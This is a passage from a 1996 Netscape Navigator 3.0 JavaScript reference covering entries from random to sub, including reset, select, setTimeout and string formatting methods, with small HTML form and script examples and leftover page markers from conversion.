document.form1.firstName.value = document.form1.firstName.value.toLowerCase()
document.form1.cityName.value = document.form1.cityName.value.toLowerCase()
}
}
</SCRIPT>
<BODY>
<FORM NAME="form1">
<B>Last name:</B>
<INPUT TYPE="text" NAME="lastName" SIZE=20 onChange="convertField(this)">
<BR><B>First name:</B>
<INPUT TYPE="text" NAME="firstName" SIZE=20 onChange="convertField(this)">
<BR><B>City:</B>
<INPUT TYPE="text" NAME="cityName" SIZE=20 onChange="convertField(this)">
<P><B>Convert values to:</B>
<BR><INPUT TYPE="radio" NAME="conversion" VALUE="upper"
onClick="if (this.checked) {convertAllFields('upper')}"> Upper case
<BR><INPUT TYPE="radio" NAME="conversion" VALUE="lower"
onClick="if (this.checked) {convertAllFields('lower')}"> Lower case
<BR><INPUT TYPE="radio" NAME="conversion" VALUE="noChange"> No conversion
</FORM>
</BODY>
</HTML>

See also the example for the link object.

See also

· checkbox, form, and select objects

random method
Changed in Navigator 3.0

Returns a pseudo-random number between zero and one. This method is available on Unix
platforms only.

Syntax
Math.random()

Method of
Math

Examples
//Displays a random number between 0 and 1

3 of 7 30.08.96 17:50
wysiwyg://display.tocfr...f_r-r.html#radio_object wysiwyg://display.tocframe.5/http://www....ook/javascript/ref_r-r.html#radio_object

document.write("The random number is " + Math.random())

referrer property
Specifies the URL of the calling document when a user clicks a link.

Syntax
document.referrer

Property of
document

Description
When a user navigates to a destination document by clicking a link object on a source document,
the referrer property contains the URL of the source document. Evaluate the referrer property
from the destination document.

referrer is a read-only property.

Examples
In the following example, the getReferrer() function is called from the destination document. It
returns the URL of the source document.

function getReferrer() {
return document.referrer
}

reset object
Changed in Navigator 3.0

A reset button on an HTML form. A reset button resets all elements in a form to their defaults.

Syntax
To define a reset button, use standard HTML syntax with the addition of the onClick event
handler:

<INPUT
TYPE="reset"
NAME=" resetName"
VALUE=" buttonText"
[onClick=" handlerText"]>

NAME="resetName" specifies the name of the reset object. You can access this value using the
name property.

4 of 7 30.08.96 17:50
wysiwyg://display.tocfr...f_r-r.html#radio_object wysiwyg://display.tocframe.5/http://www....ook/javascript/ref_r-r.html#radio_object

VALUE="buttonText" specifies the text to display on the button face. You can access this value
using the value property.

To use a reset object's properties and methods:

1. resetName.propertyName
2. resetName.methodName(parameters)
3. formName.elements[ index].propertyName
4. formName.elements[ index].methodName(parameters)

resetName is the value of the NAME attribute of a reset object.


formName is either the value of the NAME attribute of a form object or an element in the forms
array.
index is an integer representing a reset object on a form.
propertyName is one of the properties listed below.
methodName is one of the methods listed below.

Property of

· form

Description
A reset object on a form looks as follows:

Defaults

A reset object is a form element and must be defined within a <FORM> tag.

The reset button's onClick event handler cannot prevent a form from being reset; once the button
is clicked, the reset cannot be canceled.

Properties

·
·
name reflects the NAME attribute
value reflects the VALUE attribute

Methods

· click

Event handlers

· onClick

Examples

Example 1. The following example displays a text object with the default value "CA" and a reset
button with the text "Clear Form" displayed on its face. If the user types a state abbreviation in the
text object and then clicks the Clear Form button, the original value of "CA" is restored.

<B>State: </B><INPUT TYPE="text" NAME="state" VALUE="CA" SIZE="2">


<P><INPUT TYPE="reset" VALUE="Clear Form">

5 of 7 30.08.96 17:50
wysiwyg://display.tocfr...f_r-r.html#radio_object wysiwyg://display.tocframe.5/http://www....ook/javascript/ref_r-r.html#radio_object

Example 2. The following example displays two text objects, a select object, and three radio
buttons; all of these objects have default values. The form also has a reset button with the text
"Defaults" on its face. If the user changes the value of any of the objects and then clicks the
Defaults button, the original values are restored.

<HTML>
<HEAD>
<TITLE>Reset object example</TITLE>
</HEAD>
<BODY>
<FORM NAME="form1">
<BR><B>City: </B><INPUT TYPE="text" NAME="city" VALUE="Santa Cruz" SIZE="20">
<B>State: </B><INPUT TYPE="text" NAME="state" VALUE="CA" SIZE="2">
<P><SELECT NAME="colorChoice">
<OPTION SELECTED> Blue
<OPTION> Yellow
<OPTION> Green
<OPTION> Red
</SELECT>
<P><INPUT TYPE="radio" NAME="musicChoice" VALUE="soul-and-r&b"
CHECKED> Soul and R&B
<BR><INPUT TYPE="radio" NAME="musicChoice" VALUE="jazz">
Jazz
<BR><INPUT TYPE="radio" NAME="musicChoice" VALUE="classical">
Classical
<P><INPUT TYPE="reset" VALUE="Defaults" NAME="reset1">
</FORM>
</BODY>
</HTML>

See also

· button, form, and submit objects

round method
Returns the value of a number rounded to the nearest integer.

Syntax
Math.round( number)

number is any numeric expression or a property of an existing object.

Method of
Math

Description
If the fractional portion of number is .5 or greater, the argument is rounded to the next highest
integer. If the fractional portion of number is less than .5, the argument is rounded to the next
lowest integer.

Examples

6 of 7 30.08.96 17:50
wysiwyg://display.tocfr...f_r-r.html#radio_object wysiwyg://display.tocframe.5/http://www....ook/javascript/ref_r-r.html#radio_object

//Displays the value 20


document.write("The rounded value is " + Math.round(20.49))

//Displays the value 21


document.write("<P>The rounded value is " + Math.round(20.5))

//Displays the value -20


document.write("<P>The rounded value is " + Math.round(-20.5))

//Displays the value -21


document.write("<P>The rounded value is " + Math.round(-20.51))

Last modified 01/01/70 01:00:00

7 of 7 30.08.96 17:50
http://www.netscape.com..._s-s.html#select_object wysiwyg://display.tocframe.5/http://www....ok/javascript/ref_s-s.html#select_object

search property
Changed in Navigator 3.0

A string beginning with a question mark that specifies any query information in the URL.

Syntax
1. links[ index].search
2. location.search

index is an integer representing a link object.

Property of
link, location

Description
The search property specifies a portion of the URL.

You can set the search property at any time, although it is safer to set the href property to change
a location. If the search that you specify cannot be found in the current location, you will get an
error.

See Section 3.3 of RFC 1738 for complete information about the search.

Examples
In the following example, the window.open statement creates a window called newWindow and
loads the specified URL into it. The document.write statements display all the properties of
newWindow.location in a window called msgWindow.

newWindow=window.open
("http://guide-p.infoseek.com/WW/NS/Titles?qt=RFC+1738+&col=WW")

msgWindow.document.write("newWindow.location.href = " +
newWindow.location.href + "<P>")
msgWindow.document.write("newWindow.location.protocol = " +
newWindow.location.protocol + "<P>")
msgWindow.document.write("newWindow.location.host = " +
newWindow.location.host + "<P>")
msgWindow.document.write("newWindow.location.hostName = " +
newWindow.location.hostName + "<P>")
msgWindow.document.write("newWindow.location.port = " +
newWindow.location.port + "<P>")
msgWindow.document.write("newWindow.location.pathname = " +
newWindow.location.pathname + "<P>")
msgWindow.document.write("newWindow.location.search = " +
newWindow.location.search + "<P>")
msgWindow.document.write("newWindow.location.hash = " +
newWindow.location.hash + "<P>")
msgWindow.document.close()

The previous example displays the following output:

newWindow.location.href =
http://guide-p.infoseek.com/WW/NS/Titles?qt=RFC+1738+&col=WW
newWindow.location.protocol = http:

1 of 25 30.08.96 17:57
http://www.netscape.com..._s-s.html#select_object wysiwyg://display.tocframe.5/http://www....ok/javascript/ref_s-s.html#select_object

newWindow.location.protocol = http:
newWindow.location.host = guide-p.infoseek.com
newWindow.location.hostName = guide-p.infoseek.com
newWindow.location.port =
newWindow.location.pathname = /WW/NS/Titles
newWindow.location.search = ?qt=RFC+1738+&col=WW
newWindow.location.hash =

See also

· hash, host, hostname, href, pathname, port, protocol properties

select method
Selects the input area of the specified password, text, or textarea object.

Syntax
1. passwordName.select()
2. textName.select()
3. textareaName.select()

passwordName is either the value of the NAME attribute of a password object or an element in
the elements array.
textName is either the value of the NAME attribute of a text object or an element in the elements
array.
textareaName is either the value of the NAME attribute of a textarea object or an element in the
elements array.

Method of
password, text, textarea

Description
Use the select method to highlight the input area of a form element. You can use the select
method with the focus method to highlight a field and position the cursor for a user response.

Examples
In the following example, the checkPassword function confirms that a user has entered a valid
password. If the password is not valid, the select method highlights the password field and the
focus method returns focus to it so the user can re-enter the password.

function checkPassword(userPass) {
if (badPassword) {
alert("Please enter your password again.")
userPass.focus()
userPass.select()
}
}

This example assumes that the password is defined as:

<INPUT TYPE="password" NAME="userPass">

2 of 25 30.08.96 17:57
http://www.netscape.com..._s-s.html#select_object wysiwyg://display.tocframe.5/http://www....ok/javascript/ref_s-s.html#select_object

See also

· blur, focus methods

select object (options array)


Changed in Navigator 3.0

A selection list or scrolling list on an HTML form. A selection list lets the user choose one item
from a list. A scrolling list lets the user choose one or more items from a list.

Syntax
To define a select object, use standard HTML syntax with the addition of the onBlur, onChange,
and onFocus event handlers:

<SELECT
NAME=" selectName"
[SIZE=" integer"]
[MULTIPLE]
[onBlur=" handlerText"]
[onChange=" handlerText"]
[onFocus=" handlerText"]>
<OPTION VALUE=" optionValue" [SELECTED]> textToDisplay [ ... <OPTION> textToDisplay
</SELECT>

NAME="selectName" specifies the name of the select object. You can access this value using the
name property.
SIZE="integer" specifies the number of options visible when the form is displayed.
MULTIPLE specifies that the select object is a scrolling list (not a selection list).
OPTION specifies a selection element in the list. You can access the options using the options
array.
VALUE="optionValue" specifies a value that is returned to the server when the option is selected
and the form is submitted. You can access this value using the value property.
SELECTED specifies that the option is selected by default. You can access this value using the
defaultSelected property.
textToDisplay specifies the text to display in the list. You can access this value using the text
property.

To use a select object's properties and methods:

1. selectName.propertyName
2. selectName.methodName(parameters)
3. formName.elements[ index].propertyName
4. formName.elements[ index].methodName(parameters)

selectName is the value of the NAME attribute of a select object.


formName is either the value of the NAME attribute of a form object or an element in the forms
array.
index is an integer representing a select object on a form.
propertyName is one of the properties listed below.
methodName is one of the methods listed below.

To use an option's properties:

3 of 25 30.08.96 17:57
http://www.netscape.com..._s-s.html#select_object wysiwyg://display.tocframe.5/http://www....ok/javascript/ref_s-s.html#select_object

1. selectName.options[ index1].propertyName
2. formName.elements[ index2].options[ index1].propertyName

selectName is the value of the NAME attribute of a select object.


index1 is an integer representing an option in a select object.
formName is either the value of the NAME attribute of a form object or an element in the forms
array.
index2 is an integer representing a select object on a form.
propertyName is one of the properties listed below.

Property of

·
·
The select object is a property of form
The options array is a property of select

Description
A select object on a form looks as follows. The object on the left is a selection list that lets the
user choose one item; the object on the right is a scrolling list that lets the user choose one or
more items:

R&B
Jazz
Blues
R&B New Age

A select object is a form element and must be defined within a <FORM> tag.

The options array

You can reference the options of a select object in your code by using the options array. This
array contains an entry for each option in a select object (<OPTION> tag) in source order. For
example, if a select object named musicStyle contains three options, these options are reflected as
musicStyle.options[0] , musicStyle.options[1] , and musicStyle.options[2] .

To use the options array:

1. selectName.options
2. selectName.options[ index]
3. selectName.options.length

selectName is either the value of the NAME attribute of a select object or an element in the
elements array.
index is an integer representing an option in a select object.

To obtain the number of options in a select object, use the length property of either the options
array or the select object:

1. selectName.length
2. selectName.options.length

The select object has properties that you can access only through the options array. These
properties are listed below.

4 of 25 30.08.96 17:57
http://www.netscape.com..._s-s.html#select_object wysiwyg://display.tocframe.5/http://www....ok/javascript/ref_s-s.html#select_object

Even though each element in the options array represents a select option, the value of
options[index] is always null. The value returned by selectName.options represents the full HTML
statement for the selectName object.

Elements in the options array are read-only. For example, the statement
selectName.options[0]="guitar" has no effect.

Properties
The select object has the following properties:
·
·
length reflects the number of options in a select object
name reflects the NAME attribute
·
·
options reflects the <OPTION> tags
selectedIndex reflects the index of the selected option (or the first selected option, if multiple
options are selected)

The options array has the following properties:


·
·
defaultSelected reflects the SELECTED attribute
index reflects the index of an option
·
·
length reflects the number of options in a select object
name reflects the NAME attribute
·
·
selected lets you programatically select an option
selectedIndex reflects the index of the selected option
·
·
text reflects the textToDisplay that follows an <OPTION> tag
value reflects the VALUE attribute

Methods

·
·
blur
focus

Event handlers

·
·
onBlur
onChange
· onFocus

Examples

Example 1. The following example displays a selection list and a scrolling list.

Choose the music type for your free CD:


<SELECT NAME="music_type_single">
<OPTION SELECTED> R&B
<OPTION> Jazz
<OPTION> Blues
<OPTION> New Age
</SELECT>
<P>Choose the music types for your free CDs:
<BR><SELECT NAME="music_type_multi" MULTIPLE>
<OPTION SELECTED> R&B
<OPTION> Jazz
<OPTION> Blues
<OPTION> New Age
</SELECT>

5 of 25 30.08.96 17:57
http://www.netscape.com..._s-s.html#select_object wysiwyg://display.tocframe.5/http://www....ok/javascript/ref_s-s.html#select_object

Example 2. The following example displays two selection lists that let the user choose a month
and day. These selection lists are initialized to the current date. The user can change the month
and day by using the selection lists or by choosing preset dates from radio buttons. Text fields on
the form display the values of the select object's properties and indicate the date chosen and
whether it is Cinco de Mayo.

<HTML>
<HEAD>
<TITLE>Select object example</TITLE>
</HEAD>
<BODY>
<SCRIPT>
var today = new Date()
//---------------
function updatePropertyDisplay(monthObj,dayObj) {
// Get date strings
var monthInteger, dayInteger, monthString, dayString
monthInteger=monthObj.selectedIndex
dayInteger=dayObj.selectedIndex
monthString=monthObj.options[monthInteger].text
dayString=dayObj.options[dayInteger].text
// Display property values
document.selectForm.textFullDate.value=monthString + " " + dayString
document.selectForm.textMonthLength.value=monthObj.length
document.selectForm.textDayLength.value=dayObj.length
document.selectForm.textMonthName.value=monthObj.name
document.selectForm.textDayName.value=dayObj.name
document.selectForm.textMonthIndex.value=monthObj.selectedIndex
document.selectForm.textDayIndex.value=dayObj.selectedIndex
// Is it Cinco de Mayo?
if (monthObj.options[4].selected && dayObj.options[4].selected)
document.selectForm.textCinco.value="Yes!"
else
document.selectForm.textCinco.value="No"
}
</SCRIPT>
<!--------------->
<FORM NAME="selectForm">
<P><B>Choose a month and day:</B>
Month: <SELECT NAME="monthSelection"
onChange="updatePropertyDisplay(this,document.selectForm.daySelection)">
<OPTION> January <OPTION> February <OPTION> March
<OPTION> April <OPTION> May <OPTION> June
<OPTION> July <OPTION> August <OPTION> September
<OPTION> October <OPTION> November <OPTION> December
</SELECT>
Day: <SELECT NAME="daySelection"
onChange="updatePropertyDisplay(document.selectForm.monthSelection,this)">
<OPTION> 1 <OPTION> 2 <OPTION> 3 <OPTION> 4 <OPTION> 5
<OPTION> 6 <OPTION> 7 <OPTION> 8 <OPTION> 9 <OPTION> 10
<OPTION> 11 <OPTION> 12 <OPTION> 13 <OPTION> 14 <OPTION> 15
<OPTION> 16 <OPTION> 17 <OPTION> 18 <OPTION> 19 <OPTION> 20
<OPTION> 21 <OPTION> 22 <OPTION> 23 <OPTION> 24 <OPTION> 25
<OPTION> 26 <OPTION> 27 <OPTION> 28 <OPTION> 29 <OPTION> 30
<OPTION> 31
</SELECT>
<P><B>Set the date to: </B>
<INPUT TYPE="radio" NAME="dateChoice"
onClick="
monthSelection.selectedIndex=0;
daySelection.selectedIndex=0;
updatePropertyDisplay(document.selectForm.monthSelection,document.selectForm.daySelection
New Year's Day
<INPUT TYPE="radio" NAME="dateChoice"
onClick="
monthSelection.selectedIndex=4;

6 of 25 30.08.96 17:57
http://www.netscape.com..._s-s.html#select_object wysiwyg://display.tocframe.5/http://www....ok/javascript/ref_s-s.html#select_object

daySelection.selectedIndex=4;
updatePropertyDisplay(document.selectForm.monthSelection,document.selectForm.daySelection
Cinco de Mayo
<INPUT TYPE="radio" NAME="dateChoice"
onClick="
monthSelection.selectedIndex=5;
daySelection.selectedIndex=20;
updatePropertyDisplay(document.selectForm.monthSelection,document.selectForm.daySelection
Summer Solstice
<P><B>Property values:</B>
<BR>Date chosen: <INPUT TYPE="text" NAME="textFullDate" VALUE="" SIZE=20">
<BR>monthSelection.length<INPUT TYPE="text" NAME="textMonthLength" VALUE="" SIZE=20">
<BR>daySelection.length<INPUT TYPE="text" NAME="textDayLength" VALUE="" SIZE=20">
<BR>monthSelection.name<INPUT TYPE="text" NAME="textMonthName" VALUE="" SIZE=20">
<BR>daySelection.name<INPUT TYPE="text" NAME="textDayName" VALUE="" SIZE=20">
<BR>monthSelection.selectedIndex<INPUT TYPE="text" NAME="textMonthIndex" VALUE="" SIZE=20">
<BR>daySelection.selectedIndex<INPUT TYPE="text" NAME="textDayIndex" VALUE="" SIZE=20">
<BR>Is it Cinco de Mayo? <INPUT TYPE="text" NAME="textCinco" VALUE="" SIZE=20">
<SCRIPT>
document.selectForm.monthSelection.selectedIndex=today.getMonth()
document.selectForm.daySelection.selectedIndex=today.getDate()-1
updatePropertyDisplay(document.selectForm.monthSelection,document.selectForm.daySelection)
</SCRIPT>
</FORM>
</BODY>
</HTML>

See also the examples for the defaultSelected property.

See also

· form and radio objects

selected property
Changed in Navigator 3.0

A Boolean value specifying the current selection state of an option in a select object.

Syntax
selectName.options[ index].selected

selectName is either the value of the NAME attribute of a select object or an element in the
elements array.
index is an integer representing an option in a select object.

Property of
options array

Description
If an option in a select object is selected, the value of its selected property is true; otherwise, it is
false.

You can set the selected property at any time. The display of the select object updates

7 of 25 30.08.96 17:57
http://www.netscape.com..._s-s.html#select_object wysiwyg://display.tocframe.5/http://www....ok/javascript/ref_s-s.html#select_object

immediately when you set the selected property.

In general, the selected property is more useful than the selectedIndex property for select objects
that are created with the MULTIPLE attribute. With the selected property, you can evaluate every
option in the options array to determine multiple selections, and you can select individual options
without clearing the selection of other options.

Examples
See the examples for the defaultSelected property.

See also

· defaultSelected, index, selectedIndex properties

selectedIndex property
An integer specifying the index of the selected option in a select object.

Syntax
1. selectName.selectedIndex
2. selectName.options.selectedIndex

selectName is either the value of the NAME attribute of a select object or an element in the
elements array.

Property of

·
·
select
options array

Description
Options in a select object are indexed in the order in which they are defined, starting with an
index of 0. You can set the selectedIndex property at any time. The display of the select object
updates immediately when you set the selectedIndex property. Both forms of the syntax specify
the same value.

In general, the selectedIndex property is more useful for select objects that are created without the
MULTIPLE attribute. If you evaluate selectedIndex when multiple options are selected, the
selectedIndex property specifies the index of the first option only. Setting selectedIndex clears
any other options that are selected in the select object.

The selected property of the select object's options array is more useful for select objects that are
created with the MULTIPLE attribute. With the selected property, you can evaluate every option
in the options array to determine multiple selections, and you can select individual options
without clearing the selection of other options.

Examples

8 of 25 30.08.96 17:57
http://www.netscape.com..._s-s.html#select_object wysiwyg://display.tocframe.5/http://www....ok/javascript/ref_s-s.html#select_object

In the following example, the getSelectedIndex() function returns the selected index in the
musicType select object:

function getSelectedIndex() {
return document.musicForm.musicType.selectedIndex
}

The previous example assumes that the select object is similar to the following:

<SELECT NAME="musicType">
<OPTION SELECTED> R&B
<OPTION> Jazz
<OPTION> Blues
<OPTION> New Age
</SELECT>

See also

· defaultSelected, index, selected properties

self property
The self property is a synonym for the current window or frame.

Syntax
1. self. propertyName
2. self. methodName

propertyName is the defaultStatus, status, length, or name property when self refers to a window
object.
propertyName is the length or name property when self refers to a frame object.
methodName is any method associated with the window object.

Property of
frame, window

Description
The self property refers to the current window or frame.

Use the self property to disambiguate a window property from a form or form element of the
same name. You can also use the self property to make your code more readable.

The self property is read-only. The value of the self property is

<object nameAttribute>

where nameAttribute is the NAME attribute if self refers to a frame, or an internal reference if self
refers to a window.

Examples

9 of 25 30.08.96 17:57
http://www.netscape.com..._s-s.html#select_object wysiwyg://display.tocframe.5/http://www....ok/javascript/ref_s-s.html#select_object

In the following example, self.status is used to set the status property of the current window.
This usage disambiguates the status property of the current window from a form or form element
called "status" within the current window.

<A HREF=""
onClick="this.href=pickRandomURL()"
onMouseOver="self.status='Pick a random URL' ; return true">
Go!</A>

See also

· window property

setDate method
Sets the day of the month for a specified date.

Syntax
dateObjectName.setDate( dayValue)

dateObjectName is either the name of a date object or a property of an existing object.


dayValue is an integer from 1 to 31 or a property of an existing object, representing the day of the
month.

Method of
Date

Examples
The second statement below changes the day for theBigDay to the 24th of July from its original
value.

theBigDay = new Date("July 27, 1962 23:30:00")


theBigDay.setDate(24)

See also

· getDate method

setHours method
Sets the hours for a specified date.

Syntax
dateObjectName.setHours( hoursValue)

dateObjectName is either the name of a date object or a property of an existing object.


hoursValue is an integer between 0 and 23 or a property of an existing object, representing the
hour.

10 of 25 30.08.96 17:57
http://www.netscape.com..._s-s.html#select_object wysiwyg://display.tocframe.5/http://www....ok/javascript/ref_s-s.html#select_object

Method of
Date

Examples
theBigDay.setHours(7)

See also

· getHours method

setMinutes method
Sets the minutes for a specified date.

Syntax
dateObjectName.setMinutes( minutesValue)

dateObjectName is either the name of a date object or a property of an existing object.


minutesValue is an integer between 0 and 59 or a property of an existing object, representing the
minutes.

Method of
Date

Examples
theBigDay.setMinutes(45)

See also

· getMinutes method

setMonth method
Sets the month for a specified date.

Syntax
dateObjectName.setMonth( monthValue)

dateObjectName is either the name of a date object or a property of an existing object.


monthValue is an integer between 0 and 11 (representing the months January through December),
or a property of an existing object.

Method of

11 of 25 30.08.96 17:57
http://www.netscape.com..._s-s.html#select_object wysiwyg://display.tocframe.5/http://www....ok/javascript/ref_s-s.html#select_object

Date

Examples
theBigDay.setMonth(6)

See also

· getMonth method

setSeconds method
Sets the seconds for a specified date.

Syntax
dateObjectName.setSeconds( secondsValue)

dateObjectName is either the name of a date object or a property of an existing object.


secondsValue is an integer between 0 and 59 or a property of an existing object.

Method of
Date

Examples
theBigDay.setSeconds(30)

See also

· getSeconds method

setTime method
Sets the value of a date object.

Syntax
dateObjectName.setTime( timevalue)

dateObjectName is either the name of a date object or a property of an existing object.


timevalue is an integer or a property of an existing object, representing the number of
milliseconds since the epoch (1 January 1970 00:00:00).

Method of
Date

12 of 25 30.08.96 17:57
http://www.netscape.com..._s-s.html#select_object wysiwyg://display.tocframe.5/http://www....ok/javascript/ref_s-s.html#select_object

Description
Use the setTime method to help assign a date and time to another date object.

Examples
theBigDay = new Date("July 1, 1999")
sameAsBigDay = new Date()
sameAsBigDay.setTime(theBigDay.getTime())

See also

· getTime method

setTimeout method
Evaluates an expression after a specified number of milliseconds have elapsed.

Syntax
timeoutID=setTimeout( expression, msec)

timeoutID is an identifier that is used only to cancel the evaluation with the clearTimeout method.
expression is a string expression or a property of an existing object.
msec is a numeric value, numeric string, or a property of an existing object in millisecond units.

Method of
frame, window

Description
The setTimeout method evaluates an expression after a specified amount of time. It does not
evaluate the expression repeatedly. For example, if a setTimeout method specifies 5 seconds, the
expression is evaluated after 5 seconds, not every 5 seconds.

Examples

Example 1. The following example displays an alert message 5 seconds (5,000 milliseconds)
after the user clicks a button. If the user clicks the second button before the alert message is
displayed, the timeout is canceled and the alert does not display.

<SCRIPT LANGUAGE="JavaScript">
function displayAlert() {
alert("5 seconds have elapsed since the button was clicked.")
}
</SCRIPT>
<BODY>
<FORM>
Click the button on the left for a reminder in 5 seconds;
click the button on the right to cancel the reminder before
it is displayed.
<P>
<INPUT TYPE="button" VALUE="5-second reminder"

13 of 25 30.08.96 17:57
http://www.netscape.com..._s-s.html#select_object wysiwyg://display.tocframe.5/http://www....ok/javascript/ref_s-s.html#select_object

NAME="remind_button"
onClick="timerID=setTimeout('displayAlert()',5000)">
<INPUT TYPE="button" VALUE="Clear the 5-second reminder"
NAME="remind_disable_button"
onClick="clearTimeout(timerID)">
</FORM>
</BODY>

Example 2. The following example displays the current time in a text object. The showtime()
function, which is called recursively, uses the setTimeout method update the time every second.

<HEAD>
<SCRIPT LANGUAGE="JavaScript">
<!--
var timerID = null
var timerRunning = false
function stopclock(){
if(timerRunning)
clearTimeout(timerID)
timerRunning = false
}
function startclock(){
// Make sure the clock is stopped
stopclock()
showtime()
}
function showtime(){
var now = new Date()
var hours = now.getHours()
var minutes = now.getMinutes()
var seconds = now.getSeconds()
var timeValue = "" + ((hours > 12) ? hours - 12 : hours)
timeValue += ((minutes < 10) ? ":0" : ":") + minutes
timeValue += ((seconds < 10) ? ":0" : ":") + seconds
timeValue += (hours >= 12) ? " P.M." : " A.M."
document.clock.face.value = timeValue
timerID = setTimeout("showtime()",1000)
timerRunning = true
}
//-->
</SCRIPT>
</HEAD>

<BODY onLoad="startclock()">
<FORM NAME="clock" onSubmit="0">
<INPUT TYPE="text" NAME="face" SIZE=12 VALUE ="">
</FORM>
</BODY>

See also

· clearTimeout method

setYear method
Sets the year for a specified date.

Syntax
dateObjectName.setYear( yearValue)

14 of 25 30.08.96 17:57
http://www.netscape.com..._s-s.html#select_object wysiwyg://display.tocframe.5/http://www....ok/javascript/ref_s-s.html#select_object

dateObjectName is either the name of a date object or a property of an existing object.


yearValue is an integer greater than 1900 or a property of an existing object.

Method of
Date

Examples
theBigDay.setYear(96)

See also

· getYear method

sin method
Returns the sine of a number.

Syntax
Math.sin( number)

number is a numeric expression or a property of an existing object, representing the size of an


angle in radians.

Method of
Math

Description
The sin method returns a numeric value between -1 and 1, which represents the sine of the angle.

Examples
//Displays the value 1
document.write("The sine of pi/2 radians is " +
Math.sin(Math.PI/2))

//Displays the value 1.224606353822377e-016


document.write("<P>The sine of pi radians is " +
Math.sin(Math.PI))

//Displays the value 0


document.write("<P>The sine of 0 radians is " +
Math.sin(0))

See also

· acos, asin, atan, cos, tan methods

15 of 25 30.08.96 17:57
http://www.netscape.com..._s-s.html#select_object wysiwyg://display.tocframe.5/http://www....ok/javascript/ref_s-s.html#select_object

small method
Causes a string to be displayed in a small font as if it were in a <SMALL> tag.

Syntax
stringName.small()

stringName is any string or a property of an existing object.

Method of
string

Description
Use the small method with the write or writeln methods to format and display a string in a
document.

Examples
The following example uses string methods to change the size of a string:

var worldString="Hello, world"

document.write(worldString.small())
document.write("<P>" + worldString.big())
document.write("<P>" + worldString.fontsize(7))

The previous example produces the same output as the following HTML:

<SMALL>Hello, world</SMALL>
<P><BIG>Hello, world</BIG>
<P><FONTSIZE=7>Hello, world</FONTSIZE>

See also

· big, fontsize methods

sqrt method
Returns the square root of a number.

Syntax
Math.sqrt( number)

number is any non-negative numeric expression or a property of an existing object.

Method of
Math

16 of 25 30.08.96 17:57
http://www.netscape.com..._s-s.html#select_object wysiwyg://display.tocframe.5/http://www....ok/javascript/ref_s-s.html#select_object

Description
If the value of number is outside the suggested range, the return value is always 0.

Examples
//Displays the value 3
document.write("The square root of 9 is " + Math.sqrt(9))

//Displays the value 1.414213562373095


document.write("<P>The square root of 2 is " + Math.sqrt(2))

//Displays the value 0 because the argument is out of range


document.write("<P>The square root of -1 is " + Math.sqrt(-1))

SQRT1_2 property
The square root of one-half; equivalently, one over the square root of two, approximately 0.707.

Syntax
Math.SQRT1_2

Property of
Math

Description
Because SQRT1_2 is a constant, it is a read-only property of Math.

Examples
The following example displays 1 over the square root of 2:

document.write("1 over the square root of 2 is " + Math.SQRT1_2)

See also

· E, LN2, LN10, LOG2E, LOG10E, PI, SQRT2 properties

SQRT2 property
The square root of two, approximately 1.414.

Syntax
Math.SQRT2

Property of

17 of 25 30.08.96 17:57
http://www.netscape.com..._s-s.html#select_object wysiwyg://display.tocframe.5/http://www....ok/javascript/ref_s-s.html#select_object

Math

Description
Because SQRT2 is a constant, it is a read-only property of Math.

Examples
The following example displays the square root of 2:

document.write("The square root of 2 is " + Math.SQRT2)

See also

· E, LN2, LN10, LOG2E, LOG10E, PI, SQRT1_2 properties

status property
Specifies a priority or transient message in the status bar at the bottom of the window, such as the
message that appears when a mouseOver event occurs over an anchor.

Syntax
windowReference.status

windowReference is a valid way of referring to a window, as described in the window object.

Property of
window

Description
Do not confuse the status property with the defaultStatus property. The defaultStatus property
reflects the default message displayed in the status bar.

You can set the status property at any time. You must return true if you want to set the status
property in the onMouseOver event handler.

Examples
Suppose you have created a JavaScript function called pickRandomURL() that lets you select a
URL at random. You can use the onClick event handler of an anchor to specify a value for the
HREF attribute of the anchor dynamically, and the onMouseOver event handler to specify a
custom message for the window in the status property:

<A HREF=""
onClick="this.href=pickRandomURL()"
onMouseOver="self.status='Pick a random URL'; return true">
Go!</A>

In the above example, the status property of the window is assigned to the window's self property,

18 of 25 30.08.96 17:57
http://www.netscape.com..._s-s.html#select_object wysiwyg://display.tocframe.5/http://www....ok/javascript/ref_s-s.html#select_object

as self.status . As this example shows, you must return true to set the status property in the
onMouseOver event handler.

See also

· defaultStatus property

strike method
Causes a string to be displayed as struck out text as if it were in a <STRIKE> tag.

Syntax
stringName.strike()

stringName is any string or a property of an existing object.

Method of
string

Description
Use the strike method with the write or writeln methods to format and display a string in a
document.

Examples
The following example uses string methods to change the formatting of a string:

var worldString="Hello, world"

document.write(worldString.blink())
document.write("<P>" + worldString.bold())
document.write("<P>" + worldString.italics())
document.write("<P>" + worldString.strike())

The previous example produces the same output as the following HTML:

<BLINK>Hello, world</BLINK>
<P><B>Hello, world</B>
<P><I>Hello, world</I>
<P><STRIKE>Hello, world</STRIKE>

See also

· blink, bold, italics methods

string object
Changed in Navigator 3.0

19 of 25 30.08.96 17:57
http://www.netscape.com..._s-s.html#select_object wysiwyg://display.tocframe.5/http://www....ok/javascript/ref_s-s.html#select_object

A series of characters.

Syntax
To use a string object:

1. stringName.propertyName
2. stringName.methodName(parameters)

stringName is the name of a string variable.


propertyName is one of the properties listed below.
methodName is one of the methods listed below.

Property of

· None.

Description
The string object is a built-in JavaScript object.

A string can be represented as a literal enclosed by single or double quotes; for example,
"Netscape" or 'Netscape'.

Properties

· length reflects the length of the string

Methods

·
·
anchor
big
·
·
blink
bold
·
·
charAt
fixed
·
·
fontcolor
fontsize
·
·
indexOf
italics
·
·
lastIndexOf
link
·
·
small
strike
·
·
sub
substring
·
·
sup
toLowerCase
· toUpperCase

Event handlers

· None. Built-in objects do not have event handlers.

20 of 25 30.08.96 17:57
http://www.netscape.com..._s-s.html#select_object wysiwyg://display.tocframe.5/http://www....ok/javascript/ref_s-s.html#select_object

Examples
The following statement creates a string variable.

var last_name = "Schaefer"

The following statements evaluate to 8, "SCHAEFER", and "schaefer":

last_name.length
last_name.toUpperCase()
last_name.toLowerCase()

See also

· text and textarea objects

sub method
Causes a string to be displayed as a subscript as if it were in a <SUB> tag.

Syntax
stringName.sub()

stringName is any string or a property of an existing object.

Method of
string

Description
Use the sub method with the write or writeln methods to format and display a string in a
document.

Examples
The following example uses the sub and sup methods to format a string:

var superText="superscript"
var subText="subscript"

document.write("This is what a " + superText.sup() + " looks like.")


document.write("<P>This is what a " + subText.sub() + " looks like.")

The previous example produces the same output as the following HTML:

This is what a <SUP>superscript</SUP> looks like.


<P>This is what a <SUB>subscript</SUB> looks like.

See also
sup method

21 of 25 30.08.96 17:57
